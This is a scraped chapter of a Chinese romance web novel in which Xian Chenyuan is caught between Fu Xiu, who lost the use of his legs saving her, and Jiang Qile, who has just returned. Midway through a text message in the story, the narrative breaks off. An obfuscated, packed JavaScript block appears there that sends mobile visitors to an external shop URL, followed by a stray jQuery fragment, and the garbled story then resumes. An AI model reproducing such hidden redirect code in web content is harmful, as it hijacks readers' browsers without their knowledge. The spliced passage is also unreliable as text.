文趣网 > 其他小说 > 聊嗔[久别重逢] > 17. 第 17 章
    仙沉鸢被江祁了得语出惊人惊了一下,眉心猛跳。

    江祁了还真是什么都敢说。

    仙沉鸢说:“别挡路。”

    江祁了收了玩笑,侧身倚靠在墙上,手中抛着打火机:“行了,怎么回事?”

    仙沉鸢咬着下唇,呆立在原地,动了动唇。

    深吸一口气,缓缓:“车祸。”

    当晚的场景似在脑海中重演,血腥味似已经到了鼻尖,让仙沉鸢干呕感涌现。

    手指嵌进了掌心,是她,都是她。

    “车祸?”江祁了贴着墙的后背移开,不可思议,皱着眉头,缓缓,“什么时候的事?”

    仙沉鸢眨了眨眼,压下涩意:“两年前。”

    一阵安静。

    走廊上那扇巨大的窗此时半开着,种在窗户前的那一棵桂树摇曳着身上绿油油的叶子,一晃就带动了满院桂花的芬芳,花香入鼻带来一阵的恍惚。仙沉鸢倏然觉得无力,手下意识伸出扶着支撑的门把。

    “他还能走吗?”江祁了抬头望向天花板,涩。

    仙沉鸢摇了摇头:“不能。”

    垂首,眼泪在眼眶中一圈圈的打转,仙沉鸢捂了下唇生怕自己外泄一分情绪。

    凝滞,两人都没说话,绷紧了。

    良久,也不知道到底过去了多久,江祁了说:“离开他吧,他经不起你折腾。”

    仙沉鸢身体一抖,不敢置信抬头,察觉道眼睛带着的涩又移开。

    江祁了面色平静,陈述:“他已经没了一双腿,经不起打击了。”

    张了张唇,垂首,情绪莫名,“你当年耍了我,而他承受不住。”

    “说到底,我们不一起长大的。”

    仙沉鸢张了张唇,不知道说什么。

    她在江祁了这里的信誉积分为零。

    江祁了不相信她了。

    仙沉鸢:“有些事你不知道,这不是我能决定的。”

    仙沉鸢不再理会江祁了,推开门走进我是,这次江祁了没拦,走到走廊尽头。

    江祁了拿出手机,拨通电话。

    “知了,干什么?有事?”庞引霄。

    “胖子,你帮我找找比较有名的骨科医生,我刚回国不太清楚这些,拜托了。”

    庞引霄沉默了瞬,“行,包在我身上。”

    “挂了。”

    江祁了想到什么,叫住:“等一下。”

    “干嘛?”

    江祁了静了一瞬,说道:“你说,该怎么把一对分开?”

    庞引霄垂死挣扎惊坐起,“卧槽,知了你可不要做傻事呀,傅岫要是知道你这么做你死不死不知道,我是死定了。”

    江祁了嗤笑,抬头瞧着繁盛的桂树:“她是个嚯嚯人的,花言巧语、坑蒙拐骗。”

    低低,“他受不住,我来。”

    “啊啊,知了你冷静呀!知了。”

    庞引霄想,完了,彻底完了。

    -

    和傅岫回去的路上,车子缓缓行驶着。

    仙沉鸢侧着头视线落在外面的虚空中,郁郁葱葱的树划过,却是只进入眼睛,没有半分注意力在上面。“他已经没了一双腿,经不起打击了。”这句话反反复复闪现在她脑海里,七上八下得没有着落。

    也许她真的就是个祸患,遇上她就没有好事。

    傅岫悄悄覆盖住仙沉鸢的手背,仙沉鸢混沌中被惊了下,迷蒙抬头。

    “沉鸢,小祁性子就那样,你别往心里去,受了委屈一定要和我说,我替你教训他。”

    傅岫脸上挂着和煦又关心的笑,映照在仙沉鸢眼中,让她一阵恍惚。

    仙沉鸢眨了眨眼。

    傅岫当真是一个很好的人,样貌好、学历好、性格好、家庭好,就连唯一的短处那双残缺的腿都是为了救她才成了现在这般,而且就算腿不方便但是日后说实话也基本不用仙沉鸢照顾,傅家自有钱请无数个护工。

    不得不说,傅岫是位挺不错的结婚对象了。

    从前的仙沉鸢觉得和傅岫走下去未尝不可。

    可江祁了回来了,仙沉鸢隐隐预感此后生活不会平静下去,她看不到前路。

    “傅岫。”

    仙沉鸢眼睛酸酸,越是看着傅岫那张脸,心中越是酸胀的厉害。

    仙沉鸢声音很轻,低低:“你别总对我这么好。”

    傅岫越是对她好,她就越发的歉疚和难过。

    傅岫一愣,“喜欢一个人,对她好不是应该的嘛。”

    喜欢?

    仙沉鸢睫毛微颤,不敢置信地抬起头,撞进傅岫那双含着浅淡笑意的眸。

    “我本以为够明显了,你还真是迟钝呐,沉鸢。”

    喜欢,傅岫说“喜欢”她。

    这是仙沉鸢第一次听傅岫这样说,明目张胆、光明正大。

    在大学的时候舍友们都觉得傅岫对她有意思,仙沉鸢倒是没多在意,后来那件事情后两人不上不下的相处着,仙沉鸢也没觉得傅岫是“喜欢”,虽然傅岫的确对她挺好的。

    毕竟两人的关系从来没有确定下来,在对外人的介绍中也不会出现“未婚妻”这样的字眼。

    第一次出现是在上次江家那里,傅岫把她介绍给江祁了。

    仙沉鸢嗫喏着唇,动了动,还是什么都没说出来。

    傅岫伸出一根食指抵在仙沉鸢唇瓣上,凑近,咫尺的距离。

    仙沉鸢看见傅岫那张几乎没有血色的脸,平静深邃但含着浅淡笑意的眼以及很长的睫毛。仙沉鸢眼睛眨了眨,安静盯着。

    “嘘,你知道就好。”轻轻。

    在仙沉鸢又一次睫毛眨动下,傅岫松开了手,退了回去倚靠在靠背上。

    仙沉鸢深深地喘息,心脏怦怦直跳,脑袋乱乱。

    傅岫说……

    仙沉鸢甩去脑中多余的想法。

    原本想说得和江祁了四年前的事情也被抛在脑后,没了空余的余地。

    -

    傅岫拒绝了仙沉鸢陪他去医院检查的想法,把仙沉鸢送到了花店门口。

    “沉鸢,下班等我,我接你下班。”傅岫降下车窗。

    仙沉鸢下意识拒绝:“啊,不用了。”

    “就这么说定了。”

    傅岫的车缓缓开走,仙沉鸢望着车的影子无力,脑海中还盘旋着那句“接你下班”。

    仙沉鸢刚进店,傅尤就冲了过来,一把搂住仙沉鸢。

    “嫂子,你可算是回来了。”

    仙沉鸢猝不及防在傅尤这一生下随着惯性往后倾了点,被傅尤抱在怀中懵懵的,眨了眨眼。脱离傅尤的怀抱就见傅尤冲她暗示般眨了眨眼,顺着傅尤视线往里看,只见乔然和于项升都站在不远处瞧着。

    而于项升脸色铁青。

    仙沉鸢大概明白了是怎么回事,无奈:“小尤。”

    傅尤却不管不顾,叉腰挺直腰板对着于项升的方向:“看,我都说了吧!我是小沉沉小姑子。”

    仙沉鸢眼皮一跳,嘴角抽了抽。

    于项升脸色黑沉,被傅尤的话刺激到了:“不就是个娃娃亲嘛,八字都没一撇,能不能到那步还两说。”

    嘴说得很快,说完于项升就有点后悔了,这话属实有点难听。

    小心看仙沉鸢脸色:“沉,沉鸢姐,我不是那个意思。”

    “操,姓于的,你他么说什么?”

    傅尤一点就炸。

    于项升火气上头,打听出来的那点事就往外冒:“我说什么,我他么说得不对吗?不就个娃娃亲,腿残了还扒着人家。”

    一句砸下来,凝滞。

    “够了。”仙沉鸢一酸,额头青筋跳动,冷眼瞧向于项升,“你说重了。”

    于项升张了张唇,哑口无言。

    傅尤听不得这个,抄起一个杯子冲着于项升摔去:“姓于的,他么是不是太给你脸了,敢说我哥。你以为就你那点心思谁不知道,不过是顾念你还在店里做事没说,不要脸的玩意儿。”

    于项升脸上青白交加,丝毫不退让:“我说得不对吗?你哥腿不就是残了。”

    “他么的你……”傅尤。

    “于项升,你够了。”仙沉鸢面色平静,眼中闪过泪光,“傅岫是为了救我才这样的。”

    轻轻落下,场内的人顿时安静。

    于项升不敢置信,瞪大了眼。

    傅尤动了动唇,抹了把眼睛。

    -

    下班时和傅尤一起被傅岫送回了家,两人说好今晚傅尤在此过夜,是很寻常的事了,傅尤先进去洗澡了,仙沉鸢自己窝在沙发上抱着手机有一下没一下的划着。

    叮,有消息进来。

    仙沉鸢愣了下,点开。

    江爷爷:【小沉,今天是我家那小子不懂事,过两天你过来,我盯着他让他当面向你道歉。】

    仙沉鸢手指悬着,表情尴尬。

    我过去,让江祁了亲自道歉?

    自己去人家家里面,让人家给自己道歉,这这这……

    仙沉鸢属实做不出来,虽然仙沉鸢猜想江町元这般有可能是只有江町元在场才能压着江祁了道歉吧!至于登门致歉,江祁了那样?

    仙沉鸢摇了摇头,怎么可能。

    而且,仙沉鸢垂下眉目,她本就担不得那个称呼。

    青年桀骜,那句“你想让我这么叫你?”的诘问还近在耳畔。

    仙沉鸢敲下字,委婉:【江爷爷,我过两天有事怕是不能去了。】

    仙沉鸢:“……”

    【没事,换个时间就行。】

    仙沉鸢深吸一口气,【江爷爷,他没做错什么也就不需要道歉,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17758532|209225||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    我和傅岫确实八字还没一撇,担不得那句,您言重了。】

    【你和小岫的事我知道,你就不要为那小子开脱了。】

    仙沉鸢没招了,直接盖棺定论:【江爷爷,我实在没空,就不去了。】

    仙沉鸢放下手机,松了口气,陷入沙发中。

    江爷爷属实固执,一定要这么做,以江祁了的性子不会屈服,到时候江爷爷和江祁了两人又是硬碰硬。

    傅尤踩着拖鞋擦着湿漉漉的头发从浴室出来,探头:“我刚在盆里怎么看到一赛车服,瞧着还挺眼熟的。”

    仙沉鸢咯噔一下,想起了什么。

    那不就是江祁了的赛车服嘛,当时回到家后把那衣服随后放进了盆里,盆被她一脚踢到了洗手台下面,本想着过一会儿就洗来着结果被其他事情打岔就抛之脑后。

    倒是把这个忘了,还要把衣服洗了给江祁了送去。

    但现在有个问题就是,她不知道江祁了家的地址。

    上次听江爷爷说江祁了是住在外面。

    仙沉鸢眨了眨眼,咬唇:“小尤,那个,你知不知道江祁了现在住在哪?”

    “啊。”

    “就是江祁了他的赛车服,就是吧……”

    傅尤摇了摇头:“他才回来没几天,我们就一起在外面吃过饭和上次俱乐部玩过,他家倒是还没去,不知道,而且他也没说起过。”

    “这样呀!”

    仙沉鸢沮丧。

    “没事,我问下不就成了。”傅尤说。

    仙沉鸢点点头,眼睛一亮。

    傅尤坐到沙发上,点了几下,仙沉鸢还以为傅尤在发信息,直到手机铃声响起。

    仙沉鸢瞪大了眼:“你打得电话?”

    傅尤还没来得及说什么,电话就被接通了。

    “知了,你现在住在哪?给个地址。”

    仙沉鸢心跳到了嗓子眼,悄悄听着。

    也许是上一次打电话时江祁了陡然叫她名字的缘故,仙沉鸢生怕下一瞬重现。

    大概就是一朝被蛇咬,十年怕井绳。

    也不知道江祁了究竟说了什么,傅尤皱眉来了句:“你有个屁的讲究。”

    下一瞬,亮着屏幕的手机怼到了仙沉鸢面前,在仙沉鸢愣神的瞬间被傅尤毫不客气地放进仙沉鸢手中。

    “小沉沉,你接吧,他说洗赛车服有些要注意,我去吹个头发。”

    傅尤已经擦着头发踩着拖鞋离开,仙沉鸢眨了眨眼,看着屏幕上的“知了”二字喉咙发紧,咽了咽口水。

    仙沉鸢把手机放在了耳边,江祁了的“喂,仙沉鸢,喂”传入耳中。

    攥紧手机,犹疑:“我在,江祁了。”

    “迟迟没人还以为挂了。”江祁了吐槽。

    仙沉鸢:“……”

    仙沉鸢额角抽动,江祁了说话一句既往的难听。

    仙沉鸢不理会,说起正事:“说吧。”

    “就是那衣服洗得时候要翻过来拉上拉链套上洗衣袋,放上吸色纸,不能猛搓、高温烘干,也不能送普通干洗店洗,主要是普通药水洗那衣服不行。”

    仙沉鸢眼皮一跳,没想到洗赛车服竟然有这么多讲究,好像和洗普通衣服不太一样。

    她有点担心自己把衣服洗坏了。

    仙沉鸢咽了咽口水,试探:“那个,我要是把衣服洗染色、变形之类的。”

    “赔呗,你不会不赔吧!”

    仙沉鸢:“……”

    仙沉鸢脑袋发晕,硬着头皮问:“那衣服多少钱呀?”

    “两万多吧,记不清了。”

    仙沉鸢麻了。

    两万多,这衣服两万多。

    倏然觉得真烫手呀!

    “按你说得那样洗真的没问题吗?”

    “哦,我是那样洗得。”

    仙沉鸢:“……”

    不中了。

    江祁了哼笑:“算了,看在你是我朋友的朋友以及四年前朋友的份上,洗坏算我得。”

    朋友的朋友,仙沉鸢挠头。

    四年前的朋友,仙沉鸢沉默。

    四年前,她和江祁了是好朋友。

    而且这听着,怎么有点像……

    好熟悉,像是四年前得江祁了会说的话。

    “哦,对了我家地址是祁愿路……”江祁了报上一串地址。

    仙沉鸢默默打开备忘录记下:“好。”

    “对了,明上午我补觉,下午送来。”

    仙沉鸢默默翻了个白眼,怕是上午还没醒吧!说“补觉”。

    谁还不是年轻人。

    仙沉鸢没说什么,点了点头:“好,明下午我叫个跑腿给你送过去。”

    “跑腿?”江祁了大声,“仙沉鸢,他么你的诚意呢,我把衣服给你,你就用跑腿打发我?”